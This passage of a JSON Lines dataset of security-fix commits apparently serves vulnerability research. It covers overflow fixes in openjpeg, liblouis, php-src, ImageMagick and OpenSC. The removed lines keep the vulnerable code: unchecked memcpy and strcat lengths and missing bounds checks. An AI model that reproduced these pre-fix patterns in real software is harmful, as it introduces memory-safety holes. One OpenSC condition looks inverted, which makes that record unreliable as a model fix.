{\n+\t\t\t\t\tfprintf(stderr,\"tiftoimage: Bad value for ssize(%ld) \"\n+ \"vs. strip_size(%ld).\\n\\tAborting.\\n\",ssize,strip_size);\n+\t\t\t\t\t_TIFFfree(buf);\n+\t\t\t\t\t_TIFFfree(buffer32s);\n+\t\t\t\t\tTIFFClose(tif);\n+\t\t\t\t\topj_image_destroy(image);\n+\t\t\t\t\treturn NULL;\n+\t\t\t\t}\n \t\t\t\tdat8 = (const OPJ_UINT8*)buf;\n-\t\t\t\t\n+\n \t\t\t\twhile (ssize >= rowStride) {\n \t\t\t\t\tcvtTifTo32s(dat8, buffer32s, (OPJ_SIZE_T)w * tiSpp);\n \t\t\t\t\tcvtCxToPx(buffer32s, planes, (OPJ_SIZE_T)w);", "sections": [{"section": "@@ -553,20 +553,18 @@ static void tif_32sto16u(const OPJ_INT32* pSrc, OPJ_UINT16* pDst, OPJ_SIZE_T len\n \n int imagetotif(opj_image_t * image, const char *outfile)\n {\n-\tint width, height;\n-\tint bps,adjust, sgnd;\n-\tint tiPhoto;\n+\tuint32 width, height, bps, tiPhoto;\n+\tint adjust, sgnd;\n \tTIFF *tif;\n \ttdata_t buf;\n-\ttsize_t strip_size;\n+\ttmsize_t strip_size, rowStride;\n \tOPJ_UINT32 i, numcomps;\n-\tOPJ_SIZE_T rowStride;\n \tOPJ_INT32* buffer32s = NULL;\n \tOPJ_INT32 const* planes[4];\n \tconvert_32s_PXCX cvtPxToCx = NULL;\n \tconvert_32sXXx_C1R cvt32sToTif = NULL;\n \n-\tbps = (int)image->comps[0].prec;\n+\tbps = (uint32)image->comps[0].prec;\n \tplanes[0] = image->comps[0].data;\n \t\n \tnumcomps = image->numcomps;\n", "related": false}, {"section": "@@ -674,22 +672,22 @@ int imagetotif(opj_image_t * image, const char *outfile)\n \t\t\tbreak;\n \t}\n \tsgnd = (int)image->comps[0].sgnd;\n-\tadjust = sgnd ? 1 << (image->comps[0].prec - 1) : 0;\n-\twidth = (int)image->comps[0].w;\n-\theight = (int)image->comps[0].h;\n+\tadjust = sgnd ? (int)(1 << (image->comps[0].prec - 1)) : 0;\n+\twidth = (uint32)image->comps[0].w;\n+\theight = (uint32)image->comps[0].h;\n \t\n \tTIFFSetField(tif, TIFFTAG_IMAGEWIDTH, width);\n \tTIFFSetField(tif, TIFFTAG_IMAGELENGTH, height);\n-\tTIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, numcomps);\n+\tTIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, (uint32)numcomps);\n \tTIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bps);\n \tTIFFSetField(tif, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);\n \tTIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);\n \tTIFFSetField(tif, TIFFTAG_PHOTOMETRIC, tiPhoto);\n \tTIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 1);\n \t\n \tstrip_size = TIFFStripSize(tif);\n-\trowStride = ((OPJ_SIZE_T)width * numcomps * (OPJ_SIZE_T)bps + 7U) / 8U;\n-\tif (rowStride != (OPJ_SIZE_T)strip_size) {\n+\trowStride = (width * numcomps * bps + 7U) / 8U;\n+\tif (rowStride != strip_size) {\n \t\tfprintf(stderr, \"Invalid TIFF strip size\\n\");\n \t\tTIFFClose(tif);\n \t\treturn 1;\n", "related": false}, {"section": "@@ -699,7 +697,7 @@ int imagetotif(opj_image_t * image, const char *outfile)\n \t\tTIFFClose(tif);\n \t\treturn 1;\n \t}\n-\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)width * numcomps * sizeof(OPJ_INT32));\n+\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)(width * numcomps * sizeof(OPJ_INT32)));\n \tif (buffer32s == NULL) {\n \t\t_TIFFfree(buf);\n \t\tTIFFClose(tif);\n", "related": false}, {"section": "@@ -1211,20 +1209,19 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \tTIFF *tif;\n \ttdata_t buf;\n \ttstrip_t strip;\n-\ttsize_t strip_size;\n+\ttmsize_t strip_size;\n \tint j, currentPlane, numcomps = 0, w, h;\n \tOPJ_COLOR_SPACE color_space = OPJ_CLRSPC_UNKNOWN;\n \topj_image_cmptparm_t cmptparm[4]; /* RGBA */\n \topj_image_t *image = NULL;\n \tint has_alpha = 0;\n-\tunsigned short tiBps, tiPhoto, tiSf, tiSpp, tiPC;\n-\tunsigned int tiWidth, tiHeight;\n+\tuint32 tiBps, tiPhoto, tiSf, tiSpp, tiPC, tiWidth, tiHeight;\n \tOPJ_BOOL is_cinema = OPJ_IS_CINEMA(parameters->rsiz);\n \tconvert_XXx32s_C1R cvtTifTo32s = NULL;\n \tconvert_32s_CXPX cvtCxToPx = NULL;\n \tOPJ_INT32* buffer32s = NULL;\n \tOPJ_INT32* planes[4];\n-\tOPJ_SIZE_T rowStride;\n+\ttmsize_t rowStride;\n \t\n \ttif = TIFFOpen(filename, \"r\");\n \t\n", "related": false}, {"section": "@@ -1243,22 +1240,35 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \tTIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &tiSpp);\n \tTIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &tiPhoto);\n \tTIFFGetField(tif, TIFFTAG_PLANARCONFIG, &tiPC);\n-\tw= (int)tiWidth;\n-\th= (int)tiHeight;\n-\t\n-\tif(tiBps > 16U) {\n-\t\tfprintf(stderr,\"tiftoimage: Bits=%d, Only 1 to 16 bits implemented\\n\",tiBps);\n-\t\tfprintf(stderr,\"\\tAborting\\n\");\n+\n+\tif(tiSpp == 0 || tiSpp > 4) { /* should be 1 ... 4 */\n+\t\tfprintf(stderr,\"tiftoimage: Bad value for samples per pixel == %hu.\\n\"\n+\t\t \"\\tAborting.\\n\", tiSpp);\n+\t\tTIFFClose(tif);\n+\t\treturn NULL;\n+\t}\n+\tif(tiBps > 16U || tiBps == 0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad values for Bits == %d.\\n\"\n+\t\t \"\\tMax. 16 Bits are allowed here.\\n\\tAborting.\\n\",tiBps);\n \t\tTIFFClose(tif);\n \t\treturn NULL;\n \t}\n \tif(tiPhoto != PHOTOMETRIC_MINISBLACK && tiPhoto != PHOTOMETRIC_RGB) {\n-\t\tfprintf(stderr,\"tiftoimage: Bad color format %d.\\n\\tOnly RGB(A) and GRAY(A) has been implemented\\n\",(int) tiPhoto);\n+\t\tfprintf(stderr,\"tiftoimage: Bad color format %d.\\n\"\n+\t\t \"\\tOnly RGB(A) and GRAY(A) has been implemented\\n\",(int) tiPhoto);\n \t\tfprintf(stderr,\"\\tAborting\\n\");\n \t\tTIFFClose(tif);\n \t\treturn NULL;\n \t}\n-\t\n+\tif(tiWidth == 0 || tiHeight == 0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad values for width(%u) \"\n+\t\t \"and/or height(%u)\\n\\tAborting.\\n\",tiWidth,tiHeight);\n+\t\tTIFFClose(tif);\n+\t\treturn NULL;\n+\t}\n+\tw= (int)tiWidth;\n+\th= (int)tiHeight;\n+\n \tswitch (tiBps) {\n \t\tcase 1:\n \t\tcase 2:\n", "related": false}, {"section": "@@ -1312,7 +1322,7 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t\t\n \t\tTIFFGetFieldDefaulted(tif, TIFFTAG_EXTRASAMPLES,\n \t\t\t\t\t\t\t\t\t\t\t\t\t&extrasamples, &sampleinfo);\n-\t\t\n+\n \t\tif(extrasamples >= 1)\n \t\t{\n \t\t\tswitch(sampleinfo[0])\n", "related": false}, {"section": "@@ -1333,7 +1343,7 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t\telse /* extrasamples == 0 */\n \t\t\tif(tiSpp == 4 || tiSpp == 2) has_alpha = 1;\n \t}\n-\t\n+\n \t/* initialize image components */\n \tmemset(&cmptparm[0], 0, 4 * sizeof(opj_image_cmptparm_t));\n \t\n", "related": false}, {"section": "@@ -1346,7 +1356,7 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t} else {\n \t\tis_cinema = 0U;\n \t}\n-\t\n+\n \tif(tiPhoto == PHOTOMETRIC_RGB) /* RGB(A) */\n \t{\n \t\tnumcomps = 3 + has_alpha;\n", "related": false}, {"section": "@@ -1384,26 +1394,40 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \timage->x0 = (OPJ_UINT32)parameters->image_offset_x0;\n \timage->y0 = (OPJ_UINT32)parameters->image_offset_y0;\n \timage->x1 =\t!image->x0 ? (OPJ_UINT32)(w - 1) * (OPJ_UINT32)subsampling_dx + 1 :\n-\timage->x0 + (OPJ_UINT32)(w - 1) * (OPJ_UINT32)subsampling_dx + 1;\n+\t image->x0 + (OPJ_UINT32)(w - 1) * (OPJ_UINT32)subsampling_dx + 1;\n+\tif(image->x1 <= image->x0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad value for image->x1(%d) vs. \"\n+\t\t \"image->x0(%d)\\n\\tAborting.\\n\",image->x1,image->x0);\n+\t\tTIFFClose(tif);\n+\t\topj_image_destroy(image);\n+\t\treturn NULL;\n+\t}\n \timage->y1 =\t!image->y0 ? (OPJ_UINT32)(h - 1) * (OPJ_UINT32)subsampling_dy + 1 :\n-\timage->y0 + (OPJ_UINT32)(h - 1) * (OPJ_UINT32)subsampling_dy + 1;\n-\n+\t image->y0 + (OPJ_UINT32)(h - 1) * (OPJ_UINT32)subsampling_dy + 1;\n+\tif(image->y1 <= image->y0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad value for image->y1(%d) vs. \"\n+\t\t \"image->y0(%d)\\n\\tAborting.\\n\",image->y1,image->y0);\n+\t\tTIFFClose(tif);\n+\t\topj_image_destroy(image);\n+\t\treturn NULL;\n+\t}\n+\t\n \tfor(j = 0; j < numcomps; j++)\n \t{\n \t\tplanes[j] = image->comps[j].data;\n \t}\n \timage->comps[numcomps - 1].alpha = (OPJ_UINT16)(1 - (numcomps & 1));\n \t\t\n \tstrip_size = TIFFStripSize(tif);\n-\t\n+\n \tbuf = _TIFFmalloc(strip_size);\n \tif (buf == NULL) {\n \t\tTIFFClose(tif);\n \t\topj_image_destroy(image);\n \t\treturn NULL;\n \t}\n-\trowStride = ((OPJ_SIZE_T)w * tiSpp * tiBps + 7U) / 8U;\n-\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)w * tiSpp * sizeof(OPJ_INT32));\n+\trowStride = (w * tiSpp * tiBps + 7U) / 8U;\n+\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)(w * tiSpp * sizeof(OPJ_INT32)));\n \tif (buffer32s == NULL) {\n \t\t_TIFFfree(buf);\n \t\tTIFFClose(tif);\n", "related": false}, {"section": "@@ -1421,11 +1445,20 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t\tfor(; (h > 0) && (strip < TIFFNumberOfStrips(tif)); strip++)\n \t\t{\n \t\t\t\tconst OPJ_UINT8 *dat8;\n-\t\t\t\tOPJ_SIZE_T ssize;\n+\t\t\t\ttmsize_t ssize;\n \t\t\t\t\n-\t\t\t\tssize = (OPJ_SIZE_T)TIFFReadEncodedStrip(tif, strip, buf, strip_size);\n+\t\t\t\tssize = TIFFReadEncodedStrip(tif, strip, buf, strip_size);\n+\t\t\t\tif(ssize < 1 || ssize > strip_size) {\n+\t\t\t\t\tfprintf(stderr,\"tiftoimage: Bad value for ssize(%ld) \"\n+ \"vs. strip_size(%ld).\\n\\tAborting.\\n\",ssize,strip_size);\n+\t\t\t\t\t_TIFFfree(buf);\n+\t\t\t\t\t_TIFFfree(buffer32s);\n+\t\t\t\t\tTIFFClose(tif);\n+\t\t\t\t\topj_image_destroy(image);\n+\t\t\t\t\treturn NULL;\n+\t\t\t\t}\n \t\t\t\tdat8 = (const OPJ_UINT8*)buf;\n-\t\t\t\t\n+\n \t\t\t\twhile (ssize >= rowStride) {\n \t\t\t\t\tcvtTifTo32s(dat8, buffer32s, (OPJ_SIZE_T)w * tiSpp);\n \t\t\t\t\tcvtCxToPx(buffer32s, planes, (OPJ_SIZE_T)w);", "related": false}]} +{"owner": "liblouis", "repo": "liblouis", "language": "C", "file_name": "liblouis/lou_translateString.c", "commit_id": "5e4089659bb49b3095fa541fa6387b4c40d7396e", "commit_message": "Fix a buffer overflow\n\nFixes #635\n\nThanks to HongxuChen for reporting it", "patch": "@@ -354,7 +354,9 @@ matchCurrentInput(\n \t\tconst InString *input, int pos, const widechar *passInstructions, int passIC) {\n \tint k;\n \tint kk = pos;\n-\tfor (k = passIC + 2; k < passIC + 2 + passInstructions[passIC + 1]; k++)\n+\tfor (k = passIC + 2;\n+\t\t\t((k < passIC + 2 + passInstructions[passIC + 1]) && (kk < input->length));\n+\t\t\tk++)\n \t\tif (input->chars[kk] == ENDSEGMENT || passInstructions[k] != input->chars[kk++])\n \t\t\treturn 0;\n \treturn 1;", "sections": [{"section": "@@ -354,7 +354,9 @@ matchCurrentInput(\n \t\tconst InString *input, int pos, const widechar *passInstructions, int passIC) {\n \tint k;\n \tint kk = pos;\n-\tfor (k = passIC + 2; k < passIC + 2 + passInstructions[passIC + 1]; k++)\n+\tfor (k = passIC + 2;\n+\t\t\t((k < passIC + 2 + passInstructions[passIC + 1]) && (kk < input->length));\n+\t\t\tk++)\n \t\tif (input->chars[kk] == ENDSEGMENT || passInstructions[k] != input->chars[kk++])\n \t\t\treturn 0;\n \treturn 1;", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "sapi/apache2handler/sapi_apache2.c", "commit_id": "23b057742e3cf199612fa8050ae86cae675e214e", "commit_message": "Fix for bug #76582\n\nThe brigade seems to end up in a messed up state if something fails\nin shutdown, so we clean it up.", "patch": "@@ -678,6 +678,7 @@ zend_first_try {\n \tif (!parent_req) {\n \t\tphp_apache_request_dtor(r TSRMLS_CC);\n \t\tctx->request_processed = 1;\n+\t\tapr_brigade_cleanup(brigade);\n \t\tbucket = apr_bucket_eos_create(r->connection->bucket_alloc);\n \t\tAPR_BRIGADE_INSERT_TAIL(brigade, bucket);\n ", "sections": [{"section": "@@ -678,6 +678,7 @@ zend_first_try {\n \tif (!parent_req) {\n \t\tphp_apache_request_dtor(r TSRMLS_CC);\n \t\tctx->request_processed = 1;\n+\t\tapr_brigade_cleanup(brigade);\n \t\tbucket = apr_bucket_eos_create(r->connection->bucket_alloc);\n \t\tAPR_BRIGADE_INSERT_TAIL(brigade, bucket);\n ", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/pict.c", "commit_id": "6b6bff054d569a77973f2140c0e86366e6168a6c", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1199", "patch": "@@ -1472,7 +1472,8 @@ static Image *ReadPICTImage(const ImageInfo *image_info,\n c=ReadBlobByte(image);\n if (c == EOF)\n break;\n- (void) fputc(c,file);\n+ if (fputc(c,file) != c)\n+ break;\n }\n }\n (void) fclose(file);", "sections": [{"section": "@@ -1472,7 +1472,8 @@ static Image *ReadPICTImage(const ImageInfo *image_info,\n c=ReadBlobByte(image);\n if (c == EOF)\n break;\n- (void) fputc(c,file);\n+ if (fputc(c,file) != c)\n+ break;\n }\n }\n (void) fclose(file);", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/pkcs15-esteid.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -79,7 +79,7 @@ sc_pkcs15emu_esteid_init (sc_pkcs15_card_t * p15card)\n \t/* read the serial (document number) */\n \tr = sc_read_record (card, SC_ESTEID_PD_DOCUMENT_NR, buff, sizeof(buff), SC_RECORD_BY_REC_NR);\n \tSC_TEST_RET(card->ctx, SC_LOG_DEBUG_NORMAL, r, \"read document number failed\");\n-\tbuff[r] = '\\0';\n+\tbuff[MIN((size_t) r, (sizeof buff)-1)] = '\\0';\n \tset_string (&p15card->tokeninfo->serial_number, (const char *) buff);\n \n \tp15card->tokeninfo->flags = SC_PKCS15_TOKEN_PRN_GENERATION", "sections": [{"section": "@@ -79,7 +79,7 @@ sc_pkcs15emu_esteid_init (sc_pkcs15_card_t * p15card)\n \t/* read the serial (document number) */\n \tr = sc_read_record (card, SC_ESTEID_PD_DOCUMENT_NR, buff, sizeof(buff), SC_RECORD_BY_REC_NR);\n \tSC_TEST_RET(card->ctx, SC_LOG_DEBUG_NORMAL, r, \"read document number failed\");\n-\tbuff[r] = '\\0';\n+\tbuff[MIN((size_t) r, (sizeof buff)-1)] = '\\0';\n \tset_string (&p15card->tokeninfo->serial_number, (const char *) buff);\n \n \tp15card->tokeninfo->flags = SC_PKCS15_TOKEN_PRN_GENERATION", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-tcos.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -408,7 +408,7 @@ static int tcos_select_file(sc_card_t *card,\n \tfile->path = *in_path;\n \n \tfor(i=2; i+1id = (d[0]<<8) | d[1];\n \t\t\tbreak;\n \t\tcase 0x84:\n-\t\t\tmemcpy(file->name, d, len);\n-\t\t\tfile->namelen = len;\n+\t\t\tfile->namelen = MIN(sizeof file->name, len);\n+\t\t\tmemcpy(file->name, d, file->namelen);\n \t\t\tbreak;\n \t\tcase 0x86:\n \t\t\tsc_file_set_sec_attr(file, d, len); ", "sections": [{"section": "@@ -408,7 +408,7 @@ static int tcos_select_file(sc_card_t *card,\n \tfile->path = *in_path;\n \n \tfor(i=2; i+1id = (d[0]<<8) | d[1];\n \t\t\tbreak;\n \t\tcase 0x84:\n-\t\t\tmemcpy(file->name, d, len);\n-\t\t\tfile->namelen = len;\n+\t\t\tfile->namelen = MIN(sizeof file->name, len);\n+\t\t\tmemcpy(file->name, d, file->namelen);\n \t\t\tbreak;\n \t\tcase 0x86:\n \t\t\tsc_file_set_sec_attr(file, d, len); ", "related": true}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-muscle.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -518,7 +518,9 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \tmscfs_check_cache(priv->fs);\n \n \tfor(x = 0; x < fs->cache.size; x++) {\n-\t\tu8* oid= fs->cache.array[x].objectId.id;\n+\t\tu8* oid = fs->cache.array[x].objectId.id;\n+\t\tif (bufLen < 2)\n+\t\t\tbreak;\n \t\tsc_debug(card->ctx, SC_LOG_DEBUG_NORMAL,\n \t\t\t\"FILE: %02X%02X%02X%02X\\n\",\n \t\t\toid[0],oid[1],oid[2],oid[3]);\n@@ -527,7 +529,8 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \t\t\tbuf[1] = oid[3];\n \t\t\tif(buf[0] == 0x00 && buf[1] == 0x00) continue; /* No directories/null names outside of root */\n \t\t\tbuf += 2;\n-\t\t\tcount+=2;\n+\t\t\tcount += 2;\n+\t\t\tbufLen -= 2;\n \t\t}\n \t}\n \treturn count;", "sections": [{"section": "@@ -518,7 +518,9 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \tmscfs_check_cache(priv->fs);\n \n \tfor(x = 0; x < fs->cache.size; x++) {\n-\t\tu8* oid= fs->cache.array[x].objectId.id;\n+\t\tu8* oid = fs->cache.array[x].objectId.id;\n+\t\tif (bufLen < 2)\n+\t\t\tbreak;\n \t\tsc_debug(card->ctx, SC_LOG_DEBUG_NORMAL,\n \t\t\t\"FILE: %02X%02X%02X%02X\\n\",\n \t\t\toid[0],oid[1],oid[2],oid[3]);\n", "related": false}, {"section": "@@ -527,7 +529,8 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \t\t\tbuf[1] = oid[3];\n \t\t\tif(buf[0] == 0x00 && buf[1] == 0x00) continue; /* No directories/null names outside of root */\n \t\t\tbuf += 2;\n-\t\t\tcount+=2;\n+\t\t\tcount += 2;\n+\t\t\tbufLen -= 2;\n \t\t}\n \t}\n \treturn count;", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-epass2003.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -951,7 +951,7 @@ decrypt_response(struct sc_card *card, unsigned char *in, size_t inlen, unsigned\n \twhile (0x80 != plaintext[cipher_len - 2] && (cipher_len - 2 > 0))\n \t\tcipher_len--;\n \n-\tif (2 == cipher_len)\n+\tif (2 == cipher_len || *out_len < cipher_len - 2)\n \t\treturn -1;\n \n \tmemcpy(out, plaintext, cipher_len - 2);\n@@ -977,6 +977,7 @@ epass2003_sm_unwrap_apdu(struct sc_card *card, struct sc_apdu *sm, struct sc_apd\n \tr = sc_check_sw(card, sm->sw1, sm->sw2);\n \tif (r == SC_SUCCESS) {\n \t\tif (exdata->sm) {\n+\t\t\tlen = plain->resplen;\n \t\t\tif (0 != decrypt_response(card, sm->resp, sm->resplen, plain->resp, &len))\n \t\t\t\treturn SC_ERROR_CARD_CMD_FAILED;\n \t\t}", "sections": [{"section": "@@ -951,7 +951,7 @@ decrypt_response(struct sc_card *card, unsigned char *in, size_t inlen, unsigned\n \twhile (0x80 != plaintext[cipher_len - 2] && (cipher_len - 2 > 0))\n \t\tcipher_len--;\n \n-\tif (2 == cipher_len)\n+\tif (2 == cipher_len || *out_len < cipher_len - 2)\n \t\treturn -1;\n \n \tmemcpy(out, plaintext, cipher_len - 2);\n", "related": false}, {"section": "@@ -977,6 +977,7 @@ epass2003_sm_unwrap_apdu(struct sc_card *card, struct sc_apdu *sm, struct sc_apd\n \tr = sc_check_sw(card, sm->sw1, sm->sw2);\n \tif (r == SC_SUCCESS) {\n \t\tif (exdata->sm) {\n+\t\t\tlen = plain->resplen;\n \t\t\tif (0 != decrypt_response(card, sm->resp, sm->resplen, plain->resp, &len))\n \t\t\t\treturn SC_ERROR_CARD_CMD_FAILED;\n \t\t}", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-cac.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -794,7 +794,7 @@ static int cac_get_serial_nr_from_CUID(sc_card_t* card, sc_serial_number_t* seri\n }\n \tif (priv->cac_id_len) {\n \t\tserial->len = MIN(priv->cac_id_len, SC_MAX_SERIALNR);\n-\t\tmemcpy(serial->value, priv->cac_id, priv->cac_id_len);\n+\t\tmemcpy(serial->value, priv->cac_id, serial->len);\n \t\tSC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_NORMAL, SC_SUCCESS);\n \t}\n \tSC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_NORMAL, SC_ERROR_FILE_NOT_FOUND);", "sections": [{"section": "@@ -794,7 +794,7 @@ static int cac_get_serial_nr_from_CUID(sc_card_t* card, sc_serial_number_t* seri\n }\n \tif (priv->cac_id_len) {\n \t\tserial->len = MIN(priv->cac_id_len, SC_MAX_SERIALNR);\n-\t\tmemcpy(serial->value, priv->cac_id, priv->cac_id_len);\n+\t\tmemcpy(serial->value, priv->cac_id, serial->len);\n \t\tSC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_NORMAL, SC_SUCCESS);\n \t}\n \tSC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_NORMAL, SC_ERROR_FILE_NOT_FOUND);", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/tools/util.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -339,10 +339,11 @@ const char * util_acl_to_str(const sc_acl_entry_t *e)\n \t\t\tstrcpy(buf, \"????\");\n \t\t\tbreak;\n \t\t}\n-\t\tstrcat(line, buf);\n-\t\tstrcat(line, \" \");\n+\t\tstrncat(line, buf, sizeof line);\n+\t\tstrncat(line, \" \", sizeof line);\n \t\te = e->next;\n \t}\n+\tline[(sizeof line)-1] = '\\0'; /* make sure it's NUL terminated */\n \tline[strlen(line)-1] = 0; /* get rid of trailing space */\n \treturn line;\n }", "sections": [{"section": "@@ -339,10 +339,11 @@ const char * util_acl_to_str(const sc_acl_entry_t *e)\n \t\t\tstrcpy(buf, \"????\");\n \t\t\tbreak;\n \t\t}\n-\t\tstrcat(line, buf);\n-\t\tstrcat(line, \" \");\n+\t\tstrncat(line, buf, sizeof line);\n+\t\tstrncat(line, \" \", sizeof line);\n \t\te = e->next;\n \t}\n+\tline[(sizeof line)-1] = '\\0'; /* make sure it's NUL terminated */\n \tline[strlen(line)-1] = 0; /* get rid of trailing space */\n \treturn line;\n }", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/tools/egk-tool.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -149,7 +149,7 @@ int read_file(struct sc_card *card, char *str_path, unsigned char **data, size_t\n \t\tgoto err;\n \t}\n \n-\tlen = file ? file->size : 4096;\n+\tlen = file && file->size > 0 ? file->size : 4096;\n \tp = realloc(*data, len);\n \tif (!p) {\n \t\tgoto err;", "sections": [{"section": "@@ -149,7 +149,7 @@ int read_file(struct sc_card *card, char *str_path, unsigned char **data, size_t\n \t\tgoto err;\n \t}\n \n-\tlen = file ? file->size : 4096;\n+\tlen = file && file->size > 0 ? file->size : 4096;\n \tp = realloc(*data, len);\n \tif (!p) {\n \t\tgoto err;", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/tools/cryptoflex-tool.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -21,6 +21,7 @@\n #include \"config.h\"\n \n #include \"libopensc/sc-ossl-compat.h\"\n+#include \"libopensc/internal.h\"\n #include \n #include \n #include \n@@ -331,7 +332,7 @@ static int read_public_key(RSA *rsa)\n \t\tfprintf(stderr, \"Unable to select public key file: %s\\n\", sc_strerror(r));\n \t\treturn 2;\n \t}\n-\tbufsize = file->size;\n+\tbufsize = MIN(file->size, sizeof buf);\n \tsc_file_free(file);\n \tr = sc_read_binary(card, 0, buf, bufsize, 0);\n \tif (r < 0) {\n@@ -382,7 +383,7 @@ static int read_private_key(RSA *rsa)\n \te = sc_file_get_acl_entry(file, SC_AC_OP_READ);\n \tif (e == NULL || e->method == SC_AC_NEVER)\n \t\treturn 10;\n-\tbufsize = file->size;\n+\tbufsize = MIN(file->size, sizeof buf);\n \tsc_file_free(file);\n \tr = sc_read_binary(card, 0, buf, bufsize, 0);\n \tif (r < 0) {", "sections": [{"section": "@@ -21,6 +21,7 @@\n #include \"config.h\"\n \n #include \"libopensc/sc-ossl-compat.h\"\n+#include \"libopensc/internal.h\"\n #include \n #include \n #include \n", "related": false}, {"section": "@@ -331,7 +332,7 @@ static int read_public_key(RSA *rsa)\n \t\tfprintf(stderr, \"Unable to select public key file: %s\\n\", sc_strerror(r));\n \t\treturn 2;\n \t}\n-\tbufsize = file->size;\n+\tbufsize = MIN(file->size, sizeof buf);\n \tsc_file_free(file);\n \tr = sc_read_binary(card, 0, buf, bufsize, 0);\n \tif (r < 0) {\n", "related": false}, {"section": "@@ -382,7 +383,7 @@ static int read_private_key(RSA *rsa)\n \te = sc_file_get_acl_entry(file, SC_AC_OP_READ);\n \tif (e == NULL || e->method == SC_AC_NEVER)\n \t\treturn 10;\n-\tbufsize = file->size;\n+\tbufsize = MIN(file->size, sizeof buf);\n \tsc_file_free(file);\n \tr = sc_read_binary(card, 0, buf, bufsize, 0);\n \tif (r < 0) {", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/sc.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -628,7 +628,7 @@ int sc_file_set_sec_attr(sc_file_t *file, const u8 *sec_attr,\n \t\treturn SC_ERROR_INVALID_ARGUMENTS;\n \t}\n \n-\tif (sec_attr == NULL) {\n+\tif (sec_attr == NULL || sec_attr_len) {\n \t\tif (file->sec_attr != NULL)\n \t\t\tfree(file->sec_attr);\n \t\tfile->sec_attr = NULL;", "sections": [{"section": "@@ -628,7 +628,7 @@ int sc_file_set_sec_attr(sc_file_t *file, const u8 *sec_attr,\n \t\treturn SC_ERROR_INVALID_ARGUMENTS;\n \t}\n \n-\tif (sec_attr == NULL) {\n+\tif (sec_attr == NULL || sec_attr_len) {\n \t\tif (file->sec_attr != NULL)\n \t\t\tfree(file->sec_attr);\n \t\tfile->sec_attr = NULL;", "related": false}]} +{"owner": "opensc", "repo": 